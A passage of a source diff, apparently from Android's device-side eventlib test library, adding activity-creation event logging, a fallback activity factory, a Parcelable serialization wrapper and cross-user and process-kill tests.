+ mFetchedEvents.addLast(event);
}
}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/QueryService.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/QueryService.java
index ad8b85e..4efd3ce 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/QueryService.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/QueryService.java
@@ -53,7 +53,8 @@
@Override
public void init(long id, Bundle data) {
EventLogsQuery<?, ?> query = (EventLogsQuery<?, ?>) data.getSerializable(QUERIER_KEY);
- LocalEventQuerier<?, ?> querier = new LocalEventQuerier<>(query);
+ LocalEventQuerier<?, ?> querier =
+ new LocalEventQuerier<>(getApplicationContext(), query);
clients.put(id, new QueryClient(query, querier));
}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
index 6aa2989..26c9f97 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
@@ -37,6 +37,7 @@
import java.time.Instant;
import java.util.UUID;
import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicReference;
/**
@@ -45,6 +46,7 @@
public class
RemoteEventQuerier<E extends Event, F extends EventLogsQuery> implements EventQuerier<E> {
+ private static final int CONNECTION_TIMEOUT_SECONDS = 30;
private static final String LOG_TAG = "RemoteEventQuerier";
private static final Context CONTEXT =
InstrumentationRegistry.getInstrumentation().getContext();
@@ -159,9 +161,19 @@
Intent intent = new Intent();
intent.setPackage(mPackageName);
intent.setClassName(mPackageName, "com.android.eventlib.QueryService");
- if (CONTEXT.bindService(intent, connection, /* flags= */ BIND_AUTO_CREATE)) {
+
+ boolean didBind;
+ if (mEventLogsQuery.getUserHandle() != null) {
+ didBind = CONTEXT.bindServiceAsUser(
+ intent, connection, /* flags= */ BIND_AUTO_CREATE,
+ mEventLogsQuery.getUserHandle());
+ } else {
+ didBind = CONTEXT.bindService(intent, connection, /* flags= */ BIND_AUTO_CREATE);
+ }
+
+ if (didBind) {
try {
- mConnectionCountdown.await();
+ mConnectionCountdown.await(CONNECTION_TIMEOUT_SECONDS, TimeUnit.SECONDS);
} catch (InterruptedException e) {
throw new AssertionError("Interrupted while binding to service", e);
}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
new file mode 100644
index 0000000..0d18e5a
--- /dev/null
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
@@ -0,0 +1,167 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link Activity#onCreate(Bundle)} or
+ * {@link Activity#onCreate(Bundle, PersistableBundle)} is called.
+ */
+public final class ActivityCreatedEvent extends Event {
+
+ /** Begin a query for {@link ActivityCreatedEvent} events. */
+ public static ActivityCreatedEventQuery queryPackage(String packageName) {
+ return new ActivityCreatedEventQuery(packageName);
+ }
+
+ public static final class ActivityCreatedEventQuery
+ extends EventLogsQuery<ActivityCreatedEvent, ActivityCreatedEventQuery> {
+ String mName;
+ String mSimpleName;
+ SerializableParcelWrapper<Bundle> mSavedInstanceState;
+ SerializableParcelWrapper<PersistableBundle> mPersistentState;
+
+ private ActivityCreatedEventQuery(String packageName) {
+ super(ActivityCreatedEvent.class, packageName);
+ }
+
+ public ActivityCreatedEventQuery withSavedInstanceState(Bundle savedInstanceState) {
+ mSavedInstanceState = new SerializableParcelWrapper<>(savedInstanceState);
+ return this;
+ }
+
+ public ActivityCreatedEventQuery withPersistentState(PersistableBundle persistentState) {
+ mPersistentState = new SerializableParcelWrapper<>(persistentState);
+ return this;
+ }
+
+ public ActivityCreatedEventQuery withActivityClass(Class<?> clazz) {
+ return withActivityName(clazz.getName());
+ }
+
+ public ActivityCreatedEventQuery withActivityName(String name) {
+ mName = name;
+ return this;
+ }
+
+ public ActivityCreatedEventQuery withActivitySimpleName(String simpleName) {
+ mSimpleName = simpleName;
+ return this;
+ }
+
+ @Override
+ protected boolean filter(ActivityCreatedEvent event) {
+ if (mSavedInstanceState != null
+ && !mSavedInstanceState.equals(event.mSavedInstanceState)) {
+ return false;
+ }
+ if (mPersistentState != null && !mPersistentState.equals(event.mPersistentState)) {
+ return false;
+ }
+ if (mName != null && !mName.equals(event.mName)) {
+ return false;
+ }
+ if (mSimpleName != null && !mSimpleName.equals(event.mSimpleName)) {
+ return false;
+ }
+ return true;
+ }
+ }
+
+ /** Begin logging a {@link ActivityCreatedEvent}. */
+ public static ActivityCreatedEventLogger logger(Activity activity, Bundle savedInstanceState) {
+ return new ActivityCreatedEventLogger(activity, savedInstanceState);
+ }
+
+ public static final class ActivityCreatedEventLogger extends EventLogger<ActivityCreatedEvent> {
+ private ActivityCreatedEventLogger(Activity activity, Bundle savedInstanceState) {
+ super(activity, new ActivityCreatedEvent());
+ mEvent.mSavedInstanceState = new SerializableParcelWrapper<>(savedInstanceState);
+ setName(activity.getClass().getName());
+ setSimpleName(activity.getClass().getSimpleName());
+ // TODO(scottjonathan): Add more information about the activity (e.g. parse the
+ // manifest)
+ }
+
+ public ActivityCreatedEventLogger setName(String name) {
+ mEvent.mName = name;
+ return this;
+ }
+
+ public ActivityCreatedEventLogger setSimpleName(String simpleName) {
+ mEvent.mSimpleName = simpleName;
+ return this;
+ }
+
+ public ActivityCreatedEventLogger setSavedInstanceState(Bundle savedInstanceState) {
+ mEvent.mSavedInstanceState = new SerializableParcelWrapper<>(savedInstanceState);
+ return this;
+ }
+
+ public ActivityCreatedEventLogger setPersistentState(PersistableBundle persistentState) {
+ mEvent.mPersistentState = new SerializableParcelWrapper<>(persistentState);
+ return this;
+ }
+ }
+
+ protected SerializableParcelWrapper<Bundle> mSavedInstanceState;
+ protected SerializableParcelWrapper<PersistableBundle> mPersistentState;
+ protected String mName;
+ protected String mSimpleName;
+
+ public Bundle savedInstanceState() {
+ if (mSavedInstanceState == null) {
+ return null;
+ }
+ return mSavedInstanceState.get();
+ }
+
+ public PersistableBundle persistentState() {
+ if (mPersistentState == null) {
+ return null;
+ }
+ return mPersistentState.get();
+ }
+
+ public String name() {
+ return mName;
+ }
+
+ public String simpleName() {
+ return mSimpleName;
+ }
+
+ @Override
+ public String toString() {
+ return "ActivityCreatedEvent{" +
+ " savedInstanceState=" + savedInstanceState() +
+ ", persistentState=" + persistentState() +
+ ", name=" + mName +
+ ", simpleName=" + mSimpleName +
+ ", mPackageName='" + mPackageName + '\'' +
+ ", mTimestamp=" + mTimestamp +
+ '}';
+ }
+}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibActivity.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibActivity.java
new file mode 100644
index 0000000..3d3e0cf
--- /dev/null
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibActivity.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+import com.android.eventlib.events.activities.ActivityCreatedEvent;
+
+/**
+ * An {@link Activity} which logs events for all lifecycle events.
+ */
+public class EventLibActivity extends Activity {
+
+ private String mOverrideActivityClassName;
+ private String mOverrideActivitySimpleName;
+
+ public void setOverrideActivityClassName(String overrideActivityClassName) {
+ mOverrideActivityClassName = overrideActivityClassName;
+ mOverrideActivitySimpleName = getSimpleName(overrideActivityClassName);
+ }
+
+ private static String getSimpleName(String name) {
+ final int dot = name.lastIndexOf(".");
+ if (dot > 0) {
+ return name.substring(name.lastIndexOf(".")+1); // strip the package name
+ }
+ return name;
+ }
+
+ /** Log a {@link ActivityCreatedEvent}. */
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ logOnCreate(savedInstanceState, /* persistentState= */ null);
+ }
+
+ /** Log a {@link ActivityCreatedEvent}. */
+ @Override
+ public void onCreate(Bundle savedInstanceState, PersistableBundle persistentState) {
+ super.onCreate(savedInstanceState, persistentState);
+ logOnCreate(savedInstanceState, persistentState);
+ }
+
+ private void logOnCreate(Bundle savedInstanceState, PersistableBundle persistentState) {
+ ActivityCreatedEvent.ActivityCreatedEventLogger logger =
+ ActivityCreatedEvent.logger(this, savedInstanceState)
+ .setPersistentState(persistentState);
+
+ if (mOverrideActivityClassName != null) {
+ logger.setName(mOverrideActivityClassName)
+ .setSimpleName(mOverrideActivitySimpleName);
+ }
+
+ logger.log();
+ }
+
+ @Override
+ protected void onStart() {
+ // TODO(scottjonathan): Add log
+ super.onStart();
+ }
+
+ @Override
+ protected void onRestart() {
+ // TODO(scottjonathan): Add log
+ super.onRestart();
+ }
+
+ @Override
+ protected void onResume() {
+ // TODO(scottjonathan): Add log
+ super.onResume();
+ }
+
+ @Override
+ protected void onPause() {
+ // TODO(scottjonathan): Add log
+ super.onPause();
+ }
+
+ @Override
+ protected void onStop() {
+ // TODO(scottjonathan): Add log
+ super.onStop();
+ }
+
+ @Override
+ protected void onDestroy() {
+ // TODO(scottjonathan): Add log
+ super.onDestroy();
+ }
+}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibAppComponentFactory.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibAppComponentFactory.java
new file mode 100644
index 0000000..a32cfd9
--- /dev/null
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibAppComponentFactory.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import android.app.Activity;
+import android.app.AppComponentFactory;
+import android.content.Intent;
+import android.util.Log;
+
+/**
+ * An {@link AppComponentFactory} which redirects invalid class names to premade EventLib classes.
+ */
+public class EventLibAppComponentFactory extends AppComponentFactory {
+
+ private static final String LOG_TAG = "EventLibACF";
+
+ @Override
+ public Activity instantiateActivity(ClassLoader cl, String className, Intent intent)
+ throws InstantiationException, IllegalAccessException, ClassNotFoundException {
+
+ try {
+ return super.instantiateActivity(cl, className, intent);
+ } catch (ClassNotFoundException e) {
+ Log.d(LOG_TAG,
+ "Activity class (" + className + ") not found, routing to EventLibActivity");
+ EventLibActivity activity =
+ (EventLibActivity) super.instantiateActivity(
+ cl, EventLibActivity.class.getName(), intent);
+ activity.setOverrideActivityClassName(className);
+ return activity;
+ }
+ }
+}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/util/SerializableParcelWrapper.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/util/SerializableParcelWrapper.java
new file mode 100644
index 0000000..bb39bb5
--- /dev/null
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/util/SerializableParcelWrapper.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.util;
+
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+
+/** A wrapper around a {@link Parcelable} which makes it {@link Serializable}. */
+public class SerializableParcelWrapper<E extends Parcelable> implements Serializable {
+
+ private static final long serialVersionUID = 0;
+
+ private E parcelable;
+
+ public SerializableParcelWrapper(E parcelable) {
+ this.parcelable = parcelable;
+ }
+
+ public E get() {
+ return parcelable;
+ }
+
+ @Override
+ public boolean equals(Object obj) {
+ if (!(obj instanceof SerializableParcelWrapper)) {
+ return false;
+ }
+ SerializableParcelWrapper<E> other = (SerializableParcelWrapper<E>) obj;
+
+ return parcelable.equals(other.parcelable);
+ }
+
+ @Override
+ public int hashCode() {
+ return parcelable.hashCode();
+ }
+
+ // Serializable readObject
+ private void readObject(ObjectInputStream inputStream) throws ClassNotFoundException,
+ IOException {
+ int size = inputStream.readInt();
+ byte[] bytes = new byte[size];
+ inputStream.read(bytes);
+ Parcel p = Parcel.obtain();
+ p.unmarshall(bytes, 0, size);
+ parcelable = p.readParcelable(Parcelable.class.getClassLoader());
+ p.recycle();
+ }
+
+ // Serializable writeObject
+ private void writeObject(ObjectOutputStream outputStream) throws IOException {
+ Parcel p = Parcel.obtain();
+ p.writeParcelable(parcelable, /* flags= */ 0);
+ byte[] bytes = p.marshall();
+ p.recycle();
+
+ outputStream.writeInt(bytes.length);
+ outputStream.write(bytes);
+ }
+}
diff --git a/common/device-side/eventlib/src/test/AndroidManifest.xml b/common/device-side/eventlib/src/test/AndroidManifest.xml
index 438816d..710df7b 100644
--- a/common/device-side/eventlib/src/test/AndroidManifest.xml
+++ b/common/device-side/eventlib/src/test/AndroidManifest.xml
@@ -18,9 +18,14 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.eventlib.test">
+ <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26"/>
<application
- android:label="Event Library Tests">
+ android:label="Event Library Tests" android:appComponentFactory="com.android.eventlib.premade.EventLibAppComponentFactory">
<uses-library android:name="android.test.runner" />
+
+ <activity android:name="com.android.eventlib.premade.EventLibActivity" android:exported="true" />
+ <activity android:name="com.android.generatedEventLibActivity" android:exported="true" />
+
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.eventlib.test"
diff --git a/common/device-side/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java b/common/device-side/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
index ed5e718..09ce58f 100644
--- a/common/device-side/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
+++ b/common/device-side/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
@@ -22,12 +22,18 @@
import static com.google.common.truth.Truth.assertThat;
import static org.testng.Assert.assertThrows;
+import static org.testng.Assert.fail;
+import android.app.ActivityManager;
import android.content.Context;
import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.UserHandle;
+import android.os.UserManager;
import androidx.test.platform.app.InstrumentationRegistry;
+import com.android.compatibility.common.util.SystemUtil;
import com.android.eventlib.events.CustomEvent;
import org.junit.After;
@@ -37,6 +43,7 @@
import org.junit.runners.JUnit4;
import java.time.Duration;
+import java.util.HashSet;
import java.util.concurrent.Executors;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.TimeUnit;
@@ -46,6 +53,8 @@
private static final Context CONTEXT =
InstrumentationRegistry.getInstrumentation().getContext();
private static final String TEST_APP_PACKAGE_NAME = "com.android.eventlib.tests.testapp";
+ private static final String INCORRECT_PACKAGE_NAME = "com.android.eventlib.tests.notapackage";
+ private static final UserHandle NON_EXISTING_USER_HANDLE = UserHandle.of(1000);
private static final String TEST_TAG1 = "TEST_TAG1";
private static final String TEST_TAG2 = "TEST_TAG2";
@@ -1040,6 +1049,139 @@
assertThat(eventLogs.pollOrFail()).isNotNull();
}
+ @Test
+ public void otherProcessGetsKilled_stillReturnsLogs() {
+ logCustomEventOnTestApp(/* tag= */ null, /* data= */ null);
+
+ killTestApp();
+
+ assertThat(CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME).get()).isNotNull();
+ }
+
+ @Test
+ public void otherProcessGetsKilledMultipleTimes_stillReturnsOriginalLog() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+ killTestApp();
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+ killTestApp();
+
+ assertThat(
+ CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME).get().tag()).isEqualTo(TEST_TAG1);
+ }
+
+ @Test
+ public void otherProcessGetsKilled_returnsLogsInCorrectOrder() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+ killTestApp();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+ assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG1);
+ assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+ assertThat(eventLogs.next()).isNull();
+ }
+
+ @Test
+ public void otherProcessGetsKilledMultipleTimes_returnsLogsInCorrectOrder() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+ killTestApp();
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+ killTestApp();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+ assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG1);
+ assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+ assertThat(eventLogs.next()).isNull();
+ }
+
+ @Test
+ public void differentUser_queryWorks() {
+ // TODO(scottjonathan): This tests on a profile because otherwise we can't start the
+ // activity. Once ConnectedTests is available, replace this
+ // TODO(scottjonathan): Once bedstead-Marshall is ready, replace this setup/teardown with
+ // annotations
+ UserHandle userHandle = createProfile();
+ try {
+ installTestAppInUser(userHandle);
+ logCustomEventOnTestApp(userHandle, /* tag= */ TEST_TAG1, /* data= */ null);
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .onUser(userHandle);
+
+ assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG1);
+ } finally {
+ removeUser(userHandle);
+ }
+ }
+
+ @Test
+ public void differentUser_doesntGetEventsFromWrongUser() {
+ UserHandle userHandle = createProfile();
+ try {
+ installTestAppInUser(userHandle);
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+ logCustomEventOnTestApp(userHandle, /* tag= */ TEST_TAG2, /* data= */ null);
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .onUser(userHandle);
+
+ assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+ assertThat(eventLogs.next()).isNull();
+ } finally {
+ removeUser(userHandle);
+ }
+ }
+
+ @Test
+ public void onUser_passesNullUser_throwsNullPointerException() {
+ assertThrows(NullPointerException.class,
+ () -> CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .onUser(/* userHandle= */ null));
+ }
+
+ @Test
+ public void incorrectUserHandle_fails() {
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .onUser(NON_EXISTING_USER_HANDLE);
+
+ assertThrows(AssertionError.class, eventLogs::get);
+ }
+
+ @Test
+ public void incorrectPackageName_fails() {
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(INCORRECT_PACKAGE_NAME);
+
+ assertThrows(AssertionError.class, eventLogs::get);
+ }
+
+ private UserHandle createProfile() {
+ UserManager userManager = CONTEXT.getSystemService(UserManager.class);
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation().adoptShellPermissionIdentity();
+ UserHandle userHandle = userManager.createProfile("profile",
+ UserManager.USER_TYPE_PROFILE_MANAGED, new HashSet<>());
+ SystemUtil.runShellCommandOrThrow("am start-user -w " + userHandle.getIdentifier());
+ return userHandle;
+ }
+
+ private void installTestAppInUser(UserHandle userHandle) {
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation().adoptShellPermissionIdentity();
+ try {
+ CONTEXT.getPackageManager().installExistingPackageAsUser(
+ TEST_APP_PACKAGE_NAME, userHandle.getIdentifier());
+
+ } catch (PackageManager.NameNotFoundException e) {
+ fail("Could not install test app in user", e);
+ }
+ }
+
+ private void removeUser(UserHandle userHandle) {
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation().adoptShellPermissionIdentity();
+ CONTEXT.getSystemService(UserManager.class).removeUser(userHandle);
+ }
+
private void scheduleCustomEventInOneSecond() {
hasScheduledEvents = true;
@@ -1049,21 +1191,29 @@
}, 1, TimeUnit.SECONDS);
}
- private void logCustomEventOnTestApp(String tag, String data) {
+ private void logCustomEventOnTestApp(UserHandle userHandle, String tag, String data) {
Intent intent = new Intent();
intent.setPackage(TEST_APP_PACKAGE_NAME);
intent.setClassName(TEST_APP_PACKAGE_NAME, TEST_APP_PACKAGE_NAME + ".EventLoggingActivity");
intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
intent.putExtra("TAG", tag);
intent.putExtra("DATA", data);
- CONTEXT.startActivity(intent);
+
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation().adoptShellPermissionIdentity();
+ CONTEXT.startActivityAsUser(intent, userHandle);
CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
.withTag(tag)
.withData(data)
+ .onUser(userHandle)
.pollOrFail();
}
+ private void logCustomEventOnTestApp(String tag, String data) {
+ logCustomEventOnTestApp(UserHandle.CURRENT, tag, data);
+ }
+
private void logCustomEventOnTestApp() {
logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
}
@@ -1075,7 +1225,11 @@
(Runnable) this::logCustomEventOnTestApp, 1, TimeUnit.SECONDS);
}
- // TODO: Add a test that when using another package (or another user) - if the other process
- // gets killed, the log is persisted
+ private void killTestApp() {
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation().adoptShellPermissionIdentity();
+ CONTEXT.getSystemService(ActivityManager.class).forceStopPackage(TEST_APP_PACKAGE_NAME);
+ }
+ // TODO: Ensure tests work on O+
}
diff --git a/common/device-side/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java b/common/device-side/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java
index 5a5a47e..800ee9e 100644
--- a/common/device-side/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java
+++ b/common/device-side/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java
@@ -24,12 +24,13 @@
import com.android.eventlib.EventLogs;
+import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;
@RunWith(JUnit4.class)
-public class CustomEventTest {
+public final class CustomEventTest {
// TODO: We need a standard pattern for testing that events log correctly cross-process
// (when within the process serialization never happens)
@@ -40,6 +41,11 @@
private static final String DATA_1 = "DATA_1";
private static final String DATA_2 = "DATA_2";
+ @Before
+ public void setUp() {
+ EventLogs.resetLogs();
+ }
+
@Test
public void queryTag_works() {
CustomEvent.logger(CONTEXT)
diff --git a/common/device-side/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java b/common/device-side/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java
new file mode 100644
index 0000000..e26d1cf
--- /dev/null
+++ b/common/device-side/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+
+import android.app.Activity;
+import android.content.Context;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class ActivityCreatedEventTest {
+
+ private static final Context CONTEXT =
+ InstrumentationRegistry.getInstrumentation().getContext();
+
+ // TODO(scottjonathan): Replace mock with ContextActivity when ready
+ private final Activity mActivity = mock(Activity.class);
+ private final Bundle mSavedInstanceState = new Bundle();
+ private final PersistableBundle mPersistentState = new PersistableBundle();
+
+ // These values come from the mock
+ private final String DEFAULT_ACTIVITY_NAME = mActivity.getClass().getName();
+ private final String DEFAULT_ACTIVITY_SIMPLE_NAME = mActivity.getClass().getSimpleName();
+
+ private static final String CUSTOM_ACTIVITY_NAME = "customActivityName";
+
+ @Before
+ public void setUp() {
+ when(mActivity.getApplicationContext()).thenReturn(CONTEXT);
+ EventLogs.resetLogs();
+ }
+
+ @Test
+ public void querySavedInstanceState_works() {
+ ActivityCreatedEvent.logger(mActivity, mSavedInstanceState).log();
+
+ EventLogs<ActivityCreatedEvent> eventLogs =
+ ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+ .withSavedInstanceState(mSavedInstanceState);
+
+ assertThat(eventLogs.get().savedInstanceState()).isEqualTo(mSavedInstanceState);
+ }
+
+ @Test
+ public void queryPersistentState_works() {
+ ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+ .setPersistentState(mPersistentState)
+ .log();
+
+ EventLogs<ActivityCreatedEvent> eventLogs =
+ ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+ .withPersistentState(mPersistentState);
+
+ assertThat(eventLogs.get().persistentState()).isEqualTo(mPersistentState);
+ }
+
+ @Test
+ public void queryName_customValueOnLogger_works() {
+ ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+ .setName(CUSTOM_ACTIVITY_NAME)
+ .log();
+
+ EventLogs<ActivityCreatedEvent> eventLogs =
+ ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+ .withActivityName(CUSTOM_ACTIVITY_NAME);
+
+ assertThat(eventLogs.get().name()).isEqualTo(CUSTOM_ACTIVITY_NAME);
+ }
+
+ @Test
+ public void querySimpleName_customValueOnLogger_works() {
+ ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+ .setSimpleName(CUSTOM_ACTIVITY_NAME)
+ .log();
+
+ EventLogs<ActivityCreatedEvent> eventLogs =
+ ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+ .withActivitySimpleName(CUSTOM_ACTIVITY_NAME);
+
+ assertThat(eventLogs.get().simpleName()).isEqualTo(CUSTOM_ACTIVITY_NAME);
+ }
+
+ @Test
+ public void queryName_defaultValue_works() {
+ ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+ .log();
+
+ EventLogs<ActivityCreatedEvent> eventLogs =
+ ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+ .withActivityName(DEFAULT_ACTIVITY_NAME);
+
+ assertThat(eventLogs.get().name()).isEqualTo(DEFAULT_ACTIVITY_NAME);
+ }
+
+ @Test
+ public void querySimpleName_defaultValue_works() {
+ ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+ .log();
+
+ EventLogs<ActivityCreatedEvent> eventLogs =
+ ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+ .withActivitySimpleName(DEFAULT_ACTIVITY_SIMPLE_NAME);
+
+ assertThat(eventLogs.get().simpleName()).isEqualTo(DEFAULT_ACTIVITY_SIMPLE_NAME);
+ }
+
+ @Test
+ public void queryActivityClass_works() {
+ ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+ .log();
+
+ EventLogs<ActivityCreatedEvent> eventLogs =
+ ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+ .withActivityClass(mActivity.getClass());
+
+ assertThat(eventLogs.get()).isNotNull();
+ }
+
+}
